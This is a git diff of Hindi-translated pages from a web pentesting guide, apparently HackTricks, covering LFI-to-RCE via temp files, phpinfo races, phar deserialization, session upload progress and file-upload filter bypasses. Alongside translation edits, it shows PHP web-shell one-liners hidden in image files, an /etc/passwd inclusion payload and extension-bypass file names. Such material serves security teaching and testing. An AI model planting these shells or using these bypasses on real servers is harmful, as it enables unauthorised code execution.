यह पैरामीटर अधिकतम सेकंड की मात्रा को इंगित करता है **जब** **PHP को अनुरोध समाप्त करना चाहिए** (डिफ़ॉल्ट रूप से अनंत, लेकिन **यदि पैरामीटर को अनकमेंट किया गया तो 30 सेकंड**)। जब PHP द्वारा एक अनुरोध को संसाधित किया जा रहा है, तो निर्दिष्ट संख्या के सेकंड, इसे **मार दिया जाता है**। इसका मतलब है, कि यदि अनुरोध अस्थायी फ़ाइलें अपलोड कर रहा था, क्योंकि **PHP प्रोसेसिंग रोक दी गई थी**, तो उन **फ़ाइलों को हटाया नहीं जाएगा**। इसलिए, यदि आप एक अनुरोध को उस समय तक चलाने में सक्षम हैं, तो आप **हजारों अस्थायी फ़ाइलें** उत्पन्न कर सकते हैं जो नहीं हटेंगी, जो उन्हें खोजने की प्रक्रिया को **तेज़** करती है और सभी कनेक्शनों का उपभोग करके प्लेटफ़ॉर्म पर DoS की संभावना को कम करती है।
|
||||
|
||||
तो, **DoS से बचने** के लिए मान लीजिए कि एक **हमलावर केवल 100 कनेक्शनों** का उपयोग कर रहा है और PHP अधिकतम प्रोसेसिंग समय **php-fmp** (`request_terminate_timeout`**) **30 सेकंड** है। इसलिए, **प्रति सेकंड** उत्पन्न की जा सकने वाली **अस्थायी फ़ाइलों** की संख्या है `100*20/30 = 66.67`।
|
||||
तो, **DoS से बचने** के लिए मान लीजिए कि एक **हमलावर केवल 100 कनेक्शनों** का उपयोग कर रहा है और PHP अधिकतम प्रोसेसिंग समय **php-fmp** (`request_terminate_timeout`**) **30 सेकंड** है। इसलिए, **प्रति सेकंड** उत्पन्न होने वाली **अस्थायी फ़ाइलों** की संख्या है `100*20/30 = 66.67`।
|
||||
|
||||
फिर, **10000 फ़ाइलें** उत्पन्न करने के लिए एक हमलावर को चाहिए: **`10000/66.67 = 150 सेकंड`** ( **100000 फ़ाइलें** उत्पन्न करने के लिए समय **25 मिनट** होगा)।
|
||||
|
||||
|
@ -1,10 +1,10 @@
|
||||
# LFI2RCE Nginx अस्थायी फ़ाइलों के माध्यम से
|
||||
# LFI2RCE via Nginx temp files
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## कमजोर कॉन्फ़िगरेशन
|
||||
## Vulnerable configuration
|
||||
|
||||
[**https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ से उदाहरण**](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
|
||||
[**Example from https://bierbaumer.net/security/php-lfi-with-nginx-assistance/**](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
|
||||
|
||||
- PHP कोड:
|
||||
```php
|
||||
@ -33,7 +33,7 @@ def read\_file\_multiprocess(requests\_session, nginx\_pids): for nginx\_pid in
|
||||
if **name** == "**main**": print('\[DEBUG] Creating requests session') requests\_session = create\_requests\_session() print('\[DEBUG] Getting Nginx pids') nginx\_pids = get\_nginx\_pids(requests\_session) print(f'\[DEBUG] Nginx pids: {nginx\_pids}') print('\[DEBUG] Starting payload sending') send\_payload\_multiprocess(requests\_session) print('\[DEBUG] Starting fd readers') read\_file\_multiprocess(requests\_session, nginx\_pids)
|
||||
|
||||
```
|
||||
## लैब्स
|
||||
## लैब
|
||||
|
||||
- [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz)
|
||||
- [https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/](https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/)
|
||||
|
@ -13,7 +13,7 @@
|
||||
- `convert.iconv.UTF8.CSISO2022KR` हमेशा स्ट्रिंग के साथ `\x1b$)C` को जोड़ देगा
|
||||
- `convert.base64-decode` अत्यधिक सहिष्णु है, यह मूल रूप से किसी भी चरित्र को अनदेखा कर देगा जो मान्य base64 नहीं है। यदि यह अप्रत्याशित "=" पाता है तो यह कुछ समस्याएँ देता है लेकिन उन्हें `convert.iconv.UTF8.UTF7` फ़िल्टर के साथ हटा दिया जा सकता है।
|
||||
|
||||
मनचाहा सामग्री उत्पन्न करने के लिए लूप है:
|
||||
मनचाही सामग्री उत्पन्न करने के लिए लूप है:
|
||||
|
||||
1. हमारे स्ट्रिंग के साथ `\x1b$)C` को जोड़ें जैसा कि ऊपर वर्णित है
|
||||
2. कुछ iconv परिवर्तनों की श्रृंखला लागू करें जो हमारी प्रारंभिक base64 को बरकरार रखती है और उस भाग को परिवर्तित करती है जिसे हमने अभी जोड़ा है एक स्ट्रिंग में जहाँ केवल मान्य base64 वर्ण हमारे base64-कोडित php कोड का अगला भाग है
|
||||
@ -26,7 +26,7 @@
|
||||
|
||||
## How to add also suffixes to the resulting data
|
||||
|
||||
[**यह writeup बताता है**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) कि आप कैसे अभी भी PHP फ़िल्टर का दुरुपयोग कर सकते हैं ताकि परिणामस्वरूप स्ट्रिंग में उपसर्ग जोड़े जा सकें। यह तब महान है जब आपको आउटपुट को किसी विशेष प्रारूप (जैसे json या शायद कुछ PNG मैजिक बाइट्स जोड़ना) में होना चाहिए
|
||||
[**यह writeup बताता है**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) कि आप कैसे अभी भी PHP फ़िल्टर का दुरुपयोग कर सकते हैं ताकि परिणामस्वरूप स्ट्रिंग में उपसर्ग जोड़े जा सकें। यह तब महान है जब आपको आउटपुट को किसी विशिष्ट प्रारूप (जैसे json या शायद कुछ PNG मैजिक बाइट्स जोड़ना) में होना चाहिए
|
||||
|
||||
## Automatic Tools
|
||||
|
||||
|
@ -22,11 +22,11 @@ sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
|
||||
|
||||
**Windows** में फ़ाइलें आमतौर पर **C:\Windows\temp\php** में संग्रहीत होती हैं।
|
||||
|
||||
**linux** में फ़ाइल का नाम आमतौर पर **random** होता है और यह **/tmp** में स्थित होता है। चूंकि नाम यादृच्छिक है, इसलिए **कहीं से अस्थायी फ़ाइल का नाम निकालना आवश्यक है** और इसे हटाए जाने से पहले एक्सेस करना आवश्यक है। यह **phpconfig()** फ़ंक्शन की सामग्री के भीतर **variable $\_FILES** के मान को पढ़कर किया जा सकता है।
|
||||
**linux** में फ़ाइल का नाम आमतौर पर **random** होता है और यह **/tmp** में स्थित होता है। चूंकि नाम यादृच्छिक है, इसलिए **अस्थायी फ़ाइल के नाम को कहीं से निकालना आवश्यक है** और इसे हटाए जाने से पहले एक्सेस करना आवश्यक है। यह **phpconfig()** फ़ंक्शन की सामग्री के भीतर **variable $\_FILES** के मान को पढ़कर किया जा सकता है।
|
||||
|
||||
**phpinfo()**
|
||||
|
||||
**PHP** एक **4096B** का बफर उपयोग करता है और जब यह **पूर्ण** होता है, तो इसे **क्लाइंट** को **भेजा** जाता है। फिर क्लाइंट **कई बड़े अनुरोध भेज सकता है** (बड़े हेडर का उपयोग करते हुए) **php** रिवर्स **शेल** अपलोड करते हुए, **phpinfo() के पहले भाग के लौटने का इंतजार करें** (जहां अस्थायी फ़ाइल का नाम है) और LFI भेद्यता का शोषण करते हुए फ़ाइल को हटाने से पहले **अस्थायी फ़ाइल तक पहुँचने की कोशिश करें**।
|
||||
**PHP** एक **4096B** का बफर उपयोग करता है और जब यह **पूर्ण** होता है, तो इसे **क्लाइंट को भेजा जाता है**। फिर क्लाइंट **कई बड़े अनुरोध भेज सकता है** (बड़े हेडर का उपयोग करते हुए) **php** रिवर्स **शेल** अपलोड करते हुए, **phpinfo() के पहले भाग के लौटने का इंतजार करें** (जहां अस्थायी फ़ाइल का नाम है) और LFI भेद्यता का शोषण करते हुए php सर्वर द्वारा फ़ाइल हटाए जाने से पहले **अस्थायी फ़ाइल तक पहुँचने की कोशिश करें**।
|
||||
|
||||
**नाम को ब्रूटफोर्स करने के लिए Python स्क्रिप्ट (यदि लंबाई = 6)**
|
||||
```python
|
||||
|
@ -10,9 +10,9 @@ include("php://filter/string.strip_tags/resource=/etc/passwd");
|
||||
// PHP 7.2
|
||||
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");
|
||||
```
|
||||
आपको पता होना चाहिए कि यदि आप **POST** अनुरोध **भेजते** हैं **जिसमें** एक **फाइल** होती है, तो PHP एक **अस्थायी फाइल `/tmp/php<कुछ>`** बनाएगा जिसमें उस फाइल की सामग्री होगी। यह फाइल **स्वतः हटा दी जाएगी** जब अनुरोध को संसाधित किया जाएगा।
|
||||
आपको पता होना चाहिए कि यदि आप **POST** अनुरोध **भेजते** हैं **जिसमें** एक **फाइल** होती है, तो PHP एक **अस्थायी फाइल `/tmp/php<कुछ>`** बनाएगा जिसमें उस फाइल की सामग्री होगी। यह फाइल अनुरोध को संसाधित करने के बाद **स्वतः हटा दी जाएगी**।
|
||||
|
||||
यदि आप एक **LFI** पाते हैं और आप PHP में एक विभाजन दोष **प्रेरित** करने में सफल होते हैं, तो **अस्थायी फाइल कभी नहीं हटेगी**। इसलिए, आप **LFI** भेद्यता के साथ इसे **खोज** सकते हैं जब तक कि आप इसे न पा लें और मनमाना कोड निष्पादित कर सकें।
|
||||
यदि आप एक **LFI** पाते हैं और आप PHP में एक विभाजन दोष **प्रेरित** करने में सफल होते हैं, तो **अस्थायी फाइल कभी नहीं हटेगी**। इसलिए, आप **LFI** भेद्यता के साथ इसे **खोज** सकते हैं जब तक कि आप इसे न पा लें और मनमाने कोड को निष्पादित कर सकें।
|
||||
|
||||
आप परीक्षण के लिए डॉकर इमेज [https://hub.docker.com/r/easyengine/php7.0](https://hub.docker.com/r/easyengine/php7.0) का उपयोग कर सकते हैं।
|
||||
```python
|
||||
|
@ -23,7 +23,7 @@
|
||||
```
|
||||
http://site/vuln.php?inc=c:\windows\temp\php<<
|
||||
```
|
||||
कुछ विशेष परिस्थितियों में, एक अधिक विशिष्ट मास्क (जैसे `php1<<` या `phpA<<`) की आवश्यकता हो सकती है। कोई इन मास्क को व्यवस्थित रूप से आज़मा सकता है ताकि अपलोड की गई अस्थायी फ़ाइल का पता लगाया जा सके।
|
||||
कुछ विशेष परिस्थितियों में, एक अधिक विशिष्ट मास्क (जैसे `php1<<` या `phpA<<`) की आवश्यकता हो सकती है। कोई इन मास्कों को व्यवस्थित रूप से आज़मा सकता है ताकि अपलोड की गई अस्थायी फ़ाइल का पता लगाया जा सके।
|
||||
|
||||
#### GNU/Linux सिस्टम पर शोषण
|
||||
|
||||
|
@ -4,11 +4,11 @@
|
||||
|
||||
|
||||
|
||||
**Phar** फ़ाइलें (PHP Archive) **serialized format** में मेटा डेटा **contain** करती हैं, इसलिए, जब इसे पार्स किया जाता है, तो यह **metadata** **deserialized** होती है और आप **PHP** कोड के अंदर **deserialization** भेद्यता का दुरुपयोग करने की कोशिश कर सकते हैं।
|
||||
**Phar** फ़ाइलें (PHP Archive) फ़ाइलें **serialized format** में मेटा डेटा **contain** करती हैं, इसलिए, जब इसे पार्स किया जाता है, तो यह **metadata** **deserialized** होता है और आप **PHP** कोड के अंदर एक **deserialization** भेद्यता का दुरुपयोग करने की कोशिश कर सकते हैं।
|
||||
|
||||
इस विशेषता के बारे में सबसे अच्छी बात यह है कि यह deserialization तब भी होगी जब PHP फ़ंक्शंस का उपयोग किया जाए जो PHP कोड को eval नहीं करते जैसे **file_get_contents(), fopen(), file() या file_exists(), md5_file(), filemtime() या filesize()**।
|
||||
|
||||
तो, एक ऐसी स्थिति की कल्पना करें जहां आप एक PHP वेब को किसी मनमाने फ़ाइल का आकार प्राप्त करने के लिए **`phar://`** प्रोटोकॉल का उपयोग कर सकते हैं, और कोड के अंदर आपको निम्नलिखित के समान एक **class** मिलती है:
|
||||
तो, एक ऐसी स्थिति की कल्पना करें जहाँ आप एक PHP वेब को किसी मनमाने फ़ाइल का आकार प्राप्त करने के लिए **`phar://`** प्रोटोकॉल का उपयोग कर सकते हैं, और कोड के अंदर आपको निम्नलिखित के समान एक **class** मिलती है:
|
||||
```php:vunl.php
|
||||
<?php
|
||||
class AnyClass {
|
||||
@ -51,7 +51,7 @@ $phar->setMetadata($object);
|
||||
$phar->stopBuffering();
|
||||
```
|
||||
ध्यान दें कि **JPG के जादुई बाइट्स** (`\xff\xd8\xff`) को phar फ़ाइल की शुरुआत में **बायपास** **संभावित** फ़ाइल **अपलोड** **प्रतिबंधों** के लिए जोड़ा गया है।\
|
||||
`test.phar` फ़ाइल को **संकलित** करें:
|
||||
`test.phar` फ़ाइल को इस प्रकार संकलित करें:
|
||||
```bash
|
||||
php --define phar.readonly=0 create_phar.php
|
||||
```
|
||||
|
@ -18,18 +18,18 @@ $ ls -a /var/lib/php/sessions/
|
||||
|
||||
In the last example the session will contain the string blahblahblah
|
||||
```
|
||||
ध्यान दें कि **`PHP_SESSION_UPLOAD_PROGRESS`** के साथ आप **सत्र के अंदर डेटा को नियंत्रित** कर सकते हैं, इसलिए यदि आप अपने सत्र फ़ाइल को शामिल करते हैं, तो आप एक भाग शामिल कर सकते हैं जिसे आप नियंत्रित करते हैं (उदाहरण के लिए एक php शेलकोड)।
|
||||
ध्यान दें कि **`PHP_SESSION_UPLOAD_PROGRESS`** के साथ आप **सत्र के अंदर डेटा को नियंत्रित** कर सकते हैं, इसलिए यदि आप अपने सत्र फ़ाइल को शामिल करते हैं तो आप एक भाग शामिल कर सकते हैं जिसे आप नियंत्रित करते हैं (उदाहरण के लिए एक php शेलकोड)।
|
||||
|
||||
> [!NOTE]
|
||||
> हालांकि इंटरनेट पर अधिकांश ट्यूटोरियल आपको `session.upload_progress.cleanup` को डिबगिंग उद्देश्य के लिए `Off` पर सेट करने की सिफारिश करते हैं। PHP में डिफ़ॉल्ट `session.upload_progress.cleanup` अभी भी `On` है। इसका मतलब है कि आपके सत्र में अपलोड प्रगति को जल्द से जल्द साफ किया जाएगा। इसलिए यह **Race Condition** होगा।
|
||||
> हालांकि इंटरनेट पर अधिकांश ट्यूटोरियल आपको `session.upload_progress.cleanup` को डिबगिंग उद्देश्य के लिए `Off` पर सेट करने की सिफारिश करते हैं। PHP में डिफ़ॉल्ट `session.upload_progress.cleanup` अभी भी `On` है। इसका मतलब है कि आपके सत्र में अपलोड प्रगति को जल्द से जल्द साफ़ किया जाएगा। इसलिए यह **Race Condition** होगा।
|
||||
|
||||
### CTF
|
||||
|
||||
[**मूल CTF**](https://blog.orange.tw/2018/10/) में जहां इस तकनीक का उल्लेख किया गया है, Race Condition का शोषण करने के लिए यह पर्याप्त नहीं था, बल्कि लोड की गई सामग्री को भी `@<?php` स्ट्रिंग से शुरू होना आवश्यक था।
|
||||
[**मूल CTF**](https://blog.orange.tw/2018/10/) में जहां इस तकनीक का उल्लेख किया गया है, यह Race Condition का शोषण करने के लिए पर्याप्त नहीं था, बल्कि लोड की गई सामग्री को भी `@<?php` स्ट्रिंग से शुरू होना आवश्यक था।
|
||||
|
||||
`session.upload_progress.prefix` की डिफ़ॉल्ट सेटिंग के कारण, हमारी **SESSION फ़ाइल एक परेशान करने वाले उपसर्ग** `upload_progress_` के साथ शुरू होगी जैसे: `upload_progress_controlledcontentbyattacker`
|
||||
|
||||
**प्रारंभिक उपसर्ग को हटाने** का तरीका था **पेलोड को 3 बार base64encode करना** और फिर इसे `convert.base64-decode` फ़िल्टर के माध्यम से डिकोड करना, इसका कारण यह है कि जब **base64 डिकोडिंग PHP अजीब वर्णों को हटा देगा**, इसलिए 3 बार के बाद **केवल** **पेलोड** **जोड़ा गया** द्वारा हमलावर **बचेगा** (और फिर हमलावर प्रारंभिक भाग को नियंत्रित कर सकता है)।
|
||||
**प्रारंभिक उपसर्ग को हटाने** का ट्रिक था **पेलोड को 3 बार base64encode करना** और फिर इसे `convert.base64-decode` फ़िल्टर के माध्यम से डिकोड करना, इसका कारण यह है कि जब **base64 डिकोडिंग PHP अजीब वर्णों को हटा देगा**, इसलिए 3 बार के बाद **केवल** **पेलोड** **जोड़ा गया** द्वारा हमलावर **बचेगा** (और फिर हमलावर प्रारंभिक भाग को नियंत्रित कर सकता है)।
|
||||
|
||||
अधिक जानकारी के लिए मूल लेखन [https://blog.orange.tw/2018/10/](https://blog.orange.tw/2018/10/) और अंतिम शोषण [https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py](https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py)\
|
||||
एक और लेखन [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/) में।
|
||||
|
@ -18,11 +18,11 @@
|
||||
|
||||
### फ़ाइल एक्सटेंशन जांच को बायपास करें
|
||||
|
||||
1. यदि लागू हो, तो **पिछले एक्सटेंशनों की जांच करें।** कुछ **बड़े अक्षरों** का उपयोग करके भी परीक्षण करें: _pHp, .pHP5, .PhAr ..._
|
||||
2. _**कार्यकारी एक्सटेंशन से पहले एक मान्य एक्सटेंशन जोड़ने की जांच करें** (पिछले एक्सटेंशनों का भी उपयोग करें):_
|
||||
1. यदि लागू हो, तो **पिछले एक्सटेंशन की जांच करें।** कुछ **बड़े अक्षरों** का उपयोग करके भी परीक्षण करें: _pHp, .pHP5, .PhAr ..._
|
||||
2. _**कार्यकारी एक्सटेंशन से पहले एक मान्य एक्सटेंशन जोड़ने की जांच करें** (पिछले एक्सटेंशन का भी उपयोग करें):_
|
||||
- _file.png.php_
|
||||
- _file.png.Php5_
|
||||
3. **अंत में विशेष वर्ण जोड़ने का प्रयास करें।** आप सभी **ascii** और **Unicode** वर्णों को **bruteforce** करने के लिए Burp का उपयोग कर सकते हैं। (_ध्यान दें कि आप **पिछले** उल्लेखित **एक्सटेंशनों** का उपयोग करने का प्रयास भी कर सकते हैं_)
|
||||
3. **अंत में विशेष वर्ण जोड़ने का प्रयास करें।** आप सभी **ascii** और **Unicode** वर्णों को **bruteforce** करने के लिए Burp का उपयोग कर सकते हैं। (_ध्यान दें कि आप **पिछले** उल्लेखित **एक्सटेंशन** का उपयोग करने का प्रयास भी कर सकते हैं_)
|
||||
- _file.php%20_
|
||||
- _file.php%0a_
|
||||
- _file.php%00_
|
||||
@ -32,7 +32,7 @@
|
||||
- _file._
|
||||
- _file.php...._
|
||||
- _file.pHp5...._
|
||||
4. **सर्वर-साइड के एक्सटेंशन पार्सर को धोखा देकर सुरक्षा को बायपास करने का प्रयास करें** जैसे कि **एक्सटेंशन को डबल करना** या **जंक** डेटा (**null** बाइट्स) को एक्सटेंशनों के बीच जोड़ना। _आप बेहतर पेलोड तैयार करने के लिए **पिछले एक्सटेंशनों** का भी उपयोग कर सकते हैं._
|
||||
4. **सर्वर-साइड के एक्सटेंशन पार्सर को धोखा देकर सुरक्षा को बायपास करने का प्रयास करें** जैसे कि **एक्सटेंशन को डबल करना** या **जंक** डेटा (**null** बाइट्स) को एक्सटेंशनों के बीच जोड़ना। _आप बेहतर पेलोड तैयार करने के लिए **पिछले एक्सटेंशनों** का भी उपयोग कर सकते हैं।_
|
||||
- _file.png.php_
|
||||
- _file.png.pHp5_
|
||||
- _file.php#.png_
|
||||
@ -44,9 +44,9 @@
|
||||
5. पिछले जांच के लिए **एक और परत एक्सटेंशनों** को जोड़ें:
|
||||
- _file.png.jpg.php_
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. **मान्य एक्सटेंशन से पहले exec एक्सटेंशन डालने का प्रयास करें** और प्रार्थना करें कि सर्वर गलत कॉन्फ़िगर किया गया है। (Apache की गलत कॉन्फ़िगरेशन का शोषण करने के लिए उपयोगी जहां कोई भी एक्सटेंशन **_**.php**_**, लेकिन** जरूरी नहीं कि .php** पर समाप्त हो, कोड निष्पादित करेगा):
|
||||
6. **मान्य एक्सटेंशन से पहले exec एक्सटेंशन डालने का प्रयास करें** और प्रार्थना करें कि सर्वर गलत कॉन्फ़िगर किया गया है। (Apache की गलत कॉन्फ़िगरेशन का शोषण करने के लिए उपयोगी जहां कोई भी एक्सटेंशन **_**.php**_**, लेकिन** जरूरी नहीं कि .php** में समाप्त हो, कोड निष्पादित करेगा):
|
||||
- _ex: file.php.png_
|
||||
7. **Windows में NTFS वैकल्पिक डेटा स्ट्रीम (ADS)** का उपयोग करें। इस मामले में, एक कॉलन वर्ण “:” एक निषिद्ध एक्सटेंशन के बाद और एक अनुमत के पहले डाला जाएगा। परिणामस्वरूप, सर्वर पर **निषिद्ध एक्सटेंशन** के साथ एक **खाली फ़ाइल** बनाई जाएगी (जैसे “file.asax:.jpg”)। इस फ़ाइल को बाद में अन्य तकनीकों का उपयोग करके संपादित किया जा सकता है जैसे कि इसके छोटे फ़ाइल नाम का उपयोग करना। “**::$data**” पैटर्न का उपयोग गैर-खाली फ़ाइलें बनाने के लिए भी किया जा सकता है। इसलिए, इस पैटर्न के बाद एक बिंदु वर्ण जोड़ना आगे की प्रतिबंधों को बायपास करने के लिए भी उपयोगी हो सकता है (.e.g. “file.asp::$data.”)
|
||||
7. **Windows में NTFS वैकल्पिक डेटा स्ट्रीम (ADS)** का उपयोग करें। इस मामले में, एक कॉलन वर्ण “:” एक निषिद्ध एक्सटेंशन के बाद और एक अनुमत के पहले डाला जाएगा। परिणामस्वरूप, सर्वर पर **निषिद्ध एक्सटेंशन के साथ एक खाली फ़ाइल** बनाई जाएगी (जैसे “file.asax:.jpg”)। इस फ़ाइल को बाद में अन्य तकनीकों का उपयोग करके संपादित किया जा सकता है जैसे कि इसके छोटे फ़ाइल नाम का उपयोग करना। “**::$data**” पैटर्न का उपयोग गैर-खाली फ़ाइलें बनाने के लिए भी किया जा सकता है। इसलिए, इस पैटर्न के बाद एक डॉट वर्ण जोड़ना आगे की प्रतिबंधों को बायपास करने के लिए भी उपयोगी हो सकता है (.e.g. “file.asp::$data.”)
|
||||
8. फ़ाइल नाम सीमाओं को तोड़ने का प्रयास करें। मान्य एक्सटेंशन कट जाता है। और दुर्भावनापूर्ण PHP छोड़ दिया जाता है। AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
@ -64,15 +64,15 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
|
||||
- **Content-Type** जांच को बायपास करें **Content-Type** **header** के **मान** को सेट करके: _image/png_ , _text/plain , application/octet-stream_
|
||||
1. Content-Type **शब्दकोश**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- फ़ाइल की शुरुआत में **एक वास्तविक छवि** के **बाइट्स** को जोड़कर **जादुई संख्या** जांच को बायपास करें ( _file_ कमांड को भ्रमित करें)। या **metadata** के अंदर शेल पेश करें:\
|
||||
- फ़ाइल की शुरुआत में **एक वास्तविक छवि** के **बाइट्स** जोड़कर **जादुई संख्या** जांच को बायपास करें ( _file_ कमांड को भ्रमित करें)। या **metadata** के अंदर शेल पेश करें:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` या आप **पेलोड को सीधे** एक छवि में भी पेश कर सकते हैं:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
- यदि आपकी छवि में **संकुचन जोड़ा जा रहा है**, उदाहरण के लिए कुछ मानक PHP पुस्तकालयों का उपयोग करके जैसे [PHP-GD](https://www.php.net/manual/fr/book.image.php), तो पिछले तकनीकें उपयोगी नहीं होंगी। हालाँकि, आप **PLTE खंड** [**यहाँ परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग करके कुछ पाठ जोड़ सकते हैं जो **संकुचन** को **बचाएगा**।
|
||||
- यदि **संकुचन आपकी छवि में जोड़ा जा रहा है**, उदाहरण के लिए कुछ मानक PHP पुस्तकालयों का उपयोग करके जैसे [PHP-GD](https://www.php.net/manual/fr/book.image.php), तो पिछले तकनीकें उपयोगी नहीं होंगी। हालाँकि, आप **PLTE चंक** [**यहाँ पर परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर सकते हैं ताकि कुछ पाठ जोड़ा जा सके जो **संकुचन** को **बचाए**।
|
||||
- [**कोड के साथ Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- वेब पृष्ठ **छवि** का **आकार बदलने** के लिए भी उपयोग कर सकता है, उदाहरण के लिए PHP-GD फ़ंक्शंस `imagecopyresized` या `imagecopyresampled` का उपयोग करके। हालाँकि, आप **IDAT खंड** [**यहाँ परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग करके कुछ पाठ जोड़ सकते हैं जो **संकुचन** को **बचाएगा**।
|
||||
- वेब पृष्ठ **छवि** का **आकार बदलने** के लिए भी हो सकता है, उदाहरण के लिए PHP-GD फ़ंक्शंस `imagecopyresized` या `imagecopyresampled` का उपयोग करके। हालाँकि, आप **IDAT चंक** [**यहाँ पर परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर सकते हैं ताकि कुछ पाठ जोड़ा जा सके जो **संकुचन** को **बचाए**।
|
||||
- [**कोड के साथ Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- एक और तकनीक जो एक पेलोड बनाने के लिए **छवि के आकार बदलने** को **बचाती है**, PHP-GD फ़ंक्शन `thumbnailImage` का उपयोग करती है। हालाँकि, आप **tEXt खंड** [**यहाँ परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग करके कुछ पाठ जोड़ सकते हैं जो **संकुचन** को **बचाएगा**।
|
||||
- एक और तकनीक जो **छवि के आकार बदलने** को **बचाती** है, वह है PHP-GD फ़ंक्शन `thumbnailImage` का उपयोग करना। हालाँकि, आप **tEXt चंक** [**यहाँ पर परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर सकते हैं ताकि कुछ पाठ जोड़ा जा सके जो **संकुचन** को **बचाए**।
|
||||
- [**कोड के साथ Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
|
||||
### अन्य ट्रिक्स की जांच करें
|
||||
@ -80,20 +80,20 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
- पहले से अपलोड की गई फ़ाइल का नाम **बदलने** के लिए एक भेद्यता खोजें (एक्सटेंशन बदलने के लिए)।
|
||||
- बैकडोर निष्पादित करने के लिए **स्थानीय फ़ाइल समावेशन** भेद्यता खोजें।
|
||||
- **संभावित जानकारी का खुलासा**:
|
||||
1. **एक ही नाम** के साथ **एक ही फ़ाइल** को **कई बार** (और **एक ही समय में**) अपलोड करें।
|
||||
2. **पहले से मौजूद** फ़ाइल या **फ़ोल्डर** के **नाम** के साथ फ़ाइल अपलोड करें।
|
||||
3. **“.”, “..”, या “…”** के रूप में नाम वाली फ़ाइल अपलोड करें। उदाहरण के लिए, Windows में Apache में, यदि एप्लिकेशन अपलोड की गई फ़ाइलों को “/www/uploads/” निर्देशिका में सहेजता है, तो “.” फ़ाइल नाम “/www/” निर्देशिका में “uploads” नाम की फ़ाइल बनाएगा।
|
||||
4. ऐसी फ़ाइल अपलोड करें जिसे **NTFS** में आसानी से हटाया नहीं जा सकता जैसे **“…:.jpg”**। (Windows)
|
||||
1. **एक ही फ़ाइल** को **एक ही समय** में **कई बार** अपलोड करें **एक ही नाम** के साथ
|
||||
2. **एक फ़ाइल** के **नाम** के साथ फ़ाइल अपलोड करें या **फोल्डर** जो **पहले से मौजूद है**
|
||||
3. **“.”, “..”, या “…”** के रूप में नाम वाली फ़ाइल अपलोड करना। उदाहरण के लिए, Apache में **Windows** में, यदि एप्लिकेशन अपलोड की गई फ़ाइलों को “/www/uploads/” निर्देशिका में सहेजता है, तो “.” फ़ाइल नाम “/www/” निर्देशिका में “uploads” नाम की फ़ाइल बनाएगा।
|
||||
4. ऐसी फ़ाइल अपलोड करें जिसे आसानी से हटाया नहीं जा सकता जैसे **“…:.jpg”** **NTFS** में। (Windows)
|
||||
5. **Windows** में **अमान्य वर्ण** जैसे `|<>*?”` के साथ फ़ाइल अपलोड करें। (Windows)
|
||||
6. **Windows** में **आरक्षित** (**निषिद्ध**) **नामों** जैसे CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, और LPT9 के साथ फ़ाइल अपलोड करें।
|
||||
- **एक निष्पादित फ़ाइल** (.exe) या **.html** (कम संदिग्ध) अपलोड करने का प्रयास करें जो **कोड** निष्पादित करेगा जब इसे पीड़ित द्वारा गलती से खोला जाएगा।
|
||||
- **एक निष्पादन योग्य** (.exe) या **.html** (कम संदिग्ध) फ़ाइल अपलोड करने का प्रयास करें जो **कोड निष्पादित करेगा** जब इसे पीड़ित द्वारा गलती से खोला जाएगा।
|
||||
|
||||
### विशेष एक्सटेंशन ट्रिक्स
|
||||
|
||||
